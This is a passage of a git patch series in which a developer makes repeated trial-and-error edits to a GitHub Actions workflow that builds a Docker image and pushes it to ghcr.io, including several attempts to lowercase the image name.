docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a with: - registry: ghcr.io - username: ${{github.actor}} - password: ${{secrets.GITHUB_TOKEN}} - - - name: 'Build and Push Docker image to ghcr.io' - env: - REPO_NAME: '${{ github.event.repository.name }}' - run: | - docker build . -f Dockerfile.base --tag ghcr.io/${GITHUB_REPOSITORY,,}:latest - docker push ghcr.io/${GITHUB_REPOSITORY,,}:latest + username: ${{ secrets.DOCKER_USERNAME }} + password: ${{ secrets.DOCKER_PASSWORD }} + + - name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7 + with: + images: my-docker-hub-namespace/my-docker-hub-repository + + - name: Build and push Docker image + uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 + with: + context: . + file: ./Dockerfile + push: true + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} From c76e65bc03509e12b49fab0cc18b9367b70e5283 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:38:48 -0300 Subject: [PATCH 32/83] test build and push --- .github/workflows/build-push-ghcr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 0524890..e661a87 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -12,6 +12,7 @@ name: Publish Docker image on: release: types: [published] + branch: gh-action jobs: push_to_registry: From 7ef0ad253a7a1e57dc8a2a79e25c3bc03ad483ab Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:39:26 -0300 Subject: [PATCH 33/83] test build and push --- .github/workflows/build-push-ghcr.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index e661a87..6798b3c 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -12,7 +12,11 @@ name: Publish Docker image on: release: types: [published] - branch: gh-action + push: + branches: + - main + - gh-action + - gh-action jobs: push_to_registry: From cb79d17e1679606449afecf371d891e161faf14f Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:40:09 -0300 Subject: [PATCH 34/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 --- 1 file changed, 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 6798b3c..4ddef00 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -10,13 +10,10 @@ name: Publish Docker image on: - release: - types: [published] push: branches: - main - gh-action - - gh-action jobs: push_to_registry: From ade0a84fee6f476b8c8404798863d5dbc80b2d70 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:44:04 -0300 Subject: [PATCH 35/83] test build and push --- .github/workflows/build-push-ghcr.yml | 51 +++++++-------------------- 1 file changed, 13 insertions(+), 38 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 4ddef00..49fd3d8 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,45 +1,20 @@ -# This workflow uses actions that are not certified by GitHub. -# They are provided by a third-party and are governed by -# separate terms of service, privacy policy, and support -# documentation. - -# GitHub recommends pinning actions to a commit SHA. -# To get a newer version, you will need to update the SHA. -# You can also reference a tag or branch, but the action may change without warning. - -name: Publish Docker image - +name: publish on: push: - branches: - - main - - gh-action jobs: - push_to_registry: - name: Push Docker image to Docker Hub + publish-to_ghcr: runs-on: ubuntu-latest steps: - - name: Check out the repo - uses: actions/checkout@v3 - - - name: Log in to Docker Hub - uses: docker/login-action@f4ef78c080cd8ba55a85445d5b36e214a81df20a + - uses: actions/checkout@v2 + - name: Login to GitHub Container Registry + uses: docker/login-action@v1 with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} - - - name: Extract metadata (tags, labels) for Docker - id: meta - uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7 - with: - images: my-docker-hub-namespace/my-docker-hub-repository - - - name: Build and push Docker image - uses: docker/build-push-action@3b5e8027fcad23fda98b2e3ac259d8d67585f671 - with: - context: . - file: ./Dockerfile - push: true - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + - name: Build the hello-docker Docker image + run: | + docker build . --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest + docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest + docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From 39584865baf8bda0a14e2375c4d427902830f679 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:45:27 -0300 Subject: [PATCH 36/83] test build and push --- .github/workflows/build-push-ghcr.yml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 49fd3d8..a9921d7 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,6 +15,8 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build the hello-docker Docker image run: | - docker build . --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest - docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest - docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file + container_img = ghcr.io/deselikem/hello-docker-gcr-demo + echo $container_img + docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest + #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest + #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From 17ea813c0dcd55946acb3f22d7a773000856ca90 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:45:59 -0300 Subject: [PATCH 37/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index a9921d7..18c546f 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -3,7 +3,7 @@ on: push: jobs: - publish-to_ghcr: + publish-to-ghcr: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 @@ -15,7 +15,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build the hello-docker Docker image run: | - container_img = ghcr.io/deselikem/hello-docker-gcr-demo + container_img=ghcr.io/deselikem/hello-docker-gcr-demo echo $container_img docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest From 42c97445aba9f5e4e67d0f03a3f64896df6a5a67 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:50:06 -0300 Subject: [PATCH 38/83] test build and push --- .github/workflows/build-push-ghcr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 18c546f..0aea4b9 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,6 +17,7 @@ jobs: run: | container_img=ghcr.io/deselikem/hello-docker-gcr-demo echo $container_img + echo ${github.repository} docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From 481befa4fd37519e68b4cc30f64aa26caa6f0448 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:50:46 -0300 Subject: [PATCH 39/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 0aea4b9..1ac8f24 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,7 +17,7 @@ jobs: run: | container_img=ghcr.io/deselikem/hello-docker-gcr-demo echo $container_img - echo ${github.repository} + echo ${{github.repository}} docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From 3fa0dfba46be32cebcbb1b93661d8a8b8a00d578 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:51:21 -0300 Subject: [PATCH 40/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 1ac8f24..df0713d 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,7 +17,7 @@ jobs: run: | container_img=ghcr.io/deselikem/hello-docker-gcr-demo echo $container_img - echo ${{github.repository}} + echo ${{github.repository,,}} docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From 37f55895139ffb8bed37eb4f5b7d3b245b10a997 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:52:02 -0300 Subject: [PATCH 41/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index df0713d..15b3709 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,9 +15,9 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build the hello-docker Docker image run: | - container_img=ghcr.io/deselikem/hello-docker-gcr-demo + container_img=ghcr.io/${{ github.repository }} echo $container_img - echo ${{github.repository,,}} + echo ${container_img,,} docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From f47afeaeb13bb131d70b4deaa0ae8e5ed390c713 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:53:02 -0300 Subject: [PATCH 42/83] test build and push --- .github/workflows/build-push-ghcr.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 15b3709..4870fa7 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,9 +15,9 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build the hello-docker Docker image run: | - container_img=ghcr.io/${{ github.repository }} - echo $container_img - echo ${container_img,,} - docker build . -f Dockerfile.base --tag ghcr.io/deselikem/hello-docker-gcr-demo:latest + repo_name=${{ github.repository }} + repo_name=${repo_name,,} + echo ${reponame} + docker build . -f Dockerfile.base --tag ghcr.io/${repo_name}:latest #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file From a91580b75fdb4b9ab1a5acfb048543f691aed421 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:54:45 -0300 Subject: [PATCH 43/83] test build and push --- .github/workflows/build-push-ghcr.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 4870fa7..ec2762e 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,9 +15,9 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build the hello-docker Docker image run: | + echo "Builing and push..." repo_name=${{ github.repository }} repo_name=${repo_name,,} - echo ${reponame} docker build . -f Dockerfile.base --tag ghcr.io/${repo_name}:latest - #docker run ghcr.io/deselikem/hello-docker-gcr-demo:latest - #docker push ghcr.io/deselikem/hello-docker-gcr-demo:latest \ No newline at end of file + docker run ghcr.io/${repo_name}:latest + docker push ghcr.io/${repo_name}:latest \ No newline at end of file From 16d201b0177535c3faa47369a03b0769d5ac3722 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:57:33 -0300 Subject: [PATCH 44/83] test build and push --- .github/workflows/build-push-ghcr.yml | 55 ++++++++++++++++++++------- 1 file changed, 41 insertions(+), 14 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index ec2762e..d38c1b1 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,23 +1,50 @@ -name: publish +name: Build and Push docker + on: push: + branches: + - main + - development + - feat* + tags: + - "v*" + pull_request: + branches: + - master + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} jobs: - publish-to-ghcr: + deploy-docker-hello-world: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v2 - - name: Login to GitHub Container Registry - uses: docker/login-action@v1 + - uses: actions/checkout@v3 + + - name: Docker meta + id: meta + uses: docker/metadata-action@v4 with: - registry: ghcr.io + images: ${{ env.REGISTRY}}/${ env.IMAGE_NAME,, } + flavor: latest=true + tags: | + type=ref,event=branch + type=ref,event=pr + type=semver,pattern={{version}} + + - name: Login to image repository + uses: docker/login-action@v2 + with: + registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - - name: Build the hello-docker Docker image - run: | - echo "Builing and push..." - repo_name=${{ github.repository }} - repo_name=${repo_name,,} - docker build . -f Dockerfile.base --tag ghcr.io/${repo_name}:latest - docker run ghcr.io/${repo_name}:latest - docker push ghcr.io/${repo_name}:latest \ No newline at end of file + + - name: Build and push + uses: docker/build-push-action@v3 + with: + context: . + file: Dockerfile + push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From 2e299ae46df4b645368274855184f3f607515e6f Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:57:52 -0300 Subject: [PATCH 45/83] test build and push --- .github/workflows/build-push-ghcr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index d38c1b1..4e6b7ad 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -6,6 +6,7 @@ on: - main - development - feat* + -gh-action tags: - "v*" pull_request: From 1c7759d66f025b0d2bca3d0f968c8d4b2f16dea2 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:57:56 -0300 Subject: [PATCH 46/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 4e6b7ad..cf24032 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -6,7 +6,7 @@ on: - main - development - feat* - -gh-action + - gh-action tags: - "v*" pull_request: From 3fbc49a0270c3461de3875c4c8cc5373234245f6 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:59:11 -0300 Subject: [PATCH 47/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index cf24032..dabd551 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -27,7 +27,7 @@ jobs: id: meta uses: docker/metadata-action@v4 with: - images: ${{ env.REGISTRY}}/${ env.IMAGE_NAME,, } + images: ${{ env.REGISTRY}}/${env.IMAGE_NAME,,} flavor: latest=true tags: | type=ref,event=branch @@ -45,7 +45,7 @@ jobs: uses: docker/build-push-action@v3 with: context: . - file: Dockerfile + file: Dockerfile.base push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From bba3c457a32b2e58dc10a6460e6ac5ee1c79367c Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:59:44 -0300 Subject: [PATCH 48/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index dabd551..75d3687 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -27,7 +27,7 @@ jobs: id: meta uses: docker/metadata-action@v4 with: - images: ${{ env.REGISTRY}}/${env.IMAGE_NAME,,} + images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} flavor: latest=true tags: | type=ref,event=branch From a5eb2fab79cb38695e690a133d1d87aa335db10e Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:02:25 -0300 Subject: [PATCH 49/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 75d3687..3c5e155 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -18,7 +18,7 @@ env: IMAGE_NAME: ${{ github.repository }} jobs: - deploy-docker-hello-world: + push-docker-image: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 From 94619dda12bab1022c25afc421304176cfe9304a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:06:57 -0300 Subject: [PATCH 50/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 3c5e155..3a598af 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -46,6 +46,7 @@ jobs: with: context: . file: Dockerfile.base - push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + #push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-') || startsWith(github.ref_name, 'gh-action') }} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From ea5006101781cd0a407c15ad7ea71c6d947e7b3c Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:10:11 -0300 Subject: [PATCH 51/83] test build and push --- .github/workflows/build-push-ghcr.yml | 59 ++++++++------------------- 1 file changed, 18 insertions(+), 41 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 3a598af..f11edca 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,52 +1,29 @@ -name: Build and Push docker +name: ci on: push: branches: - - main - - development - - feat* - - gh-action - tags: - - "v*" - pull_request: - branches: - - master - -env: - REGISTRY: ghcr.io - IMAGE_NAME: ${{ github.repository }} + - 'main' jobs: - push-docker-image: + docker: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 - - - name: Docker meta - id: meta - uses: docker/metadata-action@v4 - with: - images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} - flavor: latest=true - tags: | - type=ref,event=branch - type=ref,event=pr - type=semver,pattern={{version}} - - - name: Login to image repository + - + name: Set up QEMU + uses: docker/setup-qemu-action@v2 + - + name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - + name: Login to Docker Hub uses: docker/login-action@v2 with: - registry: ${{ env.REGISTRY }} - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Build and push - uses: docker/build-push-action@v3 + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - + name: Build and push + uses: docker/build-push-action@v4 with: - context: . - file: Dockerfile.base - #push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} - push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-') || startsWith(github.ref_name, 'gh-action') }} - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file + push: true + tags: user/app:latest \ No newline at end of file From 2f388766c64521b81a4b97eb1bd81c1724f03f25 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:10:19 -0300 Subject: [PATCH 52/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index f11edca..dfd09cc 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -2,8 +2,6 @@ name: ci on: push: - branches: - - 'main' jobs: docker: From 20e2164e81dd734910048f20d0f66a485d7eca48 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:12:40 -0300 Subject: [PATCH 53/83] test build and push --- .github/workflows/build-push-ghcr.yml | 61 ++++++++++++++++++++------- 1 file changed, 45 insertions(+), 16 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index dfd09cc..8e0a943 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,27 +1,56 @@ -name: ci + + + +name: Build and Push docker on: push: + branches: + - main + - development + - feat* + - gh-action + tags: + - "v*" + pull_request: + branches: + - master + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} jobs: - docker: + push-docker-image: runs-on: ubuntu-latest steps: - - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Login to Docker Hub + - uses: actions/checkout@v3 + + - name: Docker meta + id: meta + uses: docker/metadata-action@v4 + with: + images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} + flavor: latest=true + tags: | + type=ref,event=branch + type=ref,event=pr + type=semver,pattern={{version}} + + - name: Login to image repository uses: docker/login-action@v2 with: - username: ${{ secrets.DOCKERHUB_USERNAME }} - password: ${{ secrets.DOCKERHUB_TOKEN }} - - - name: Build and push + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Build and push uses: docker/build-push-action@v4 with: - push: true - tags: user/app:latest \ No newline at end of file + context: . + file: Dockerfile.base + #push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-') || startsWith(github.ref_name, 'gh-action') }} + #tags: ${{ steps.meta.outputs.tags }} + tags: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} + #labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From 2cd7bbcbae0ce81248bf557a51af8ac4ec8b6ec4 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:17:10 -0300 Subject: [PATCH 54/83] test build and push --- .github/workflows/build-push-ghcr.yml | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 8e0a943..3edf825 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,6 +1,3 @@ - - - name: Build and Push docker on: @@ -21,7 +18,7 @@ env: IMAGE_NAME: ${{ github.repository }} jobs: - push-docker-image: + deploy-docker-hello-world: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 @@ -45,12 +42,10 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build and push - uses: docker/build-push-action@v4 + uses: docker/build-push-action@v3 with: context: . file: Dockerfile.base - #push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} - push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-') || startsWith(github.ref_name, 'gh-action') }} - #tags: ${{ steps.meta.outputs.tags }} - tags: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} - #labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file + push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + tags: ${steps.meta.outputs.tags} + labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From 6c1f0aec2565d9fc62a003910aea06fc1b92e879 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:20:11 -0300 Subject: [PATCH 55/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 3edf825..8748189 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -47,5 +47,5 @@ jobs: context: . file: Dockerfile.base push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} - tags: ${steps.meta.outputs.tags} + tags: ${{ steps.meta.outputs.tags | lower }} labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file From 95fd7982fc4d59f7f0a91fecc2cc4a66ec8ab434 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:20:58 -0300 Subject: [PATCH 56/83] test build and push --- .github/workflows/build-push-ghcr.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 8748189..186a6de 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,7 +15,7 @@ on: env: REGISTRY: ghcr.io - IMAGE_NAME: ${{ github.repository }} + IMAGE_NAME: ${{ github.repository | lower }} # Convert repository name to lowercase jobs: deploy-docker-hello-world: @@ -47,5 +47,5 @@ jobs: context: . file: Dockerfile.base push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} - tags: ${{ steps.meta.outputs.tags | lower }} - labels: ${{ steps.meta.outputs.labels }} \ No newline at end of file + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} From d0d55d424c259db9560e9b0d74044dafdf769071 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:21:52 -0300 Subject: [PATCH 57/83] test build and push --- .github/workflows/build-push-ghcr.yml | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 186a6de..386ef0b 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -15,19 +15,20 @@ on: env: REGISTRY: ghcr.io - IMAGE_NAME: ${{ github.repository | lower }} # Convert repository name to lowercase + RAW_IMAGE_NAME: ${{ github.repository }} + IMAGE_NAME: ${{ env.RAW_IMAGE_NAME | lower }} # Convert repository name to lowercase jobs: deploy-docker-hello-world: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v2 - name: Docker meta id: meta uses: docker/metadata-action@v4 with: - images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} + images: ${{ env.REGISTRY}}/${{ env.RAW_IMAGE_NAME }} # Use the original name for metadata flavor: latest=true tags: | type=ref,event=branch @@ -42,7 +43,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Build and push - uses: docker/build-push-action@v3 + uses: docker/build-push-action@v2 with: context: . file: Dockerfile.base From c1ea2a9b163d676887841616e9e9a41afb564a8a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:22:18 -0300 Subject: [PATCH 58/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 386ef0b..715cead 100644 --- a/.github/workflows/build-push-ghcr.yml 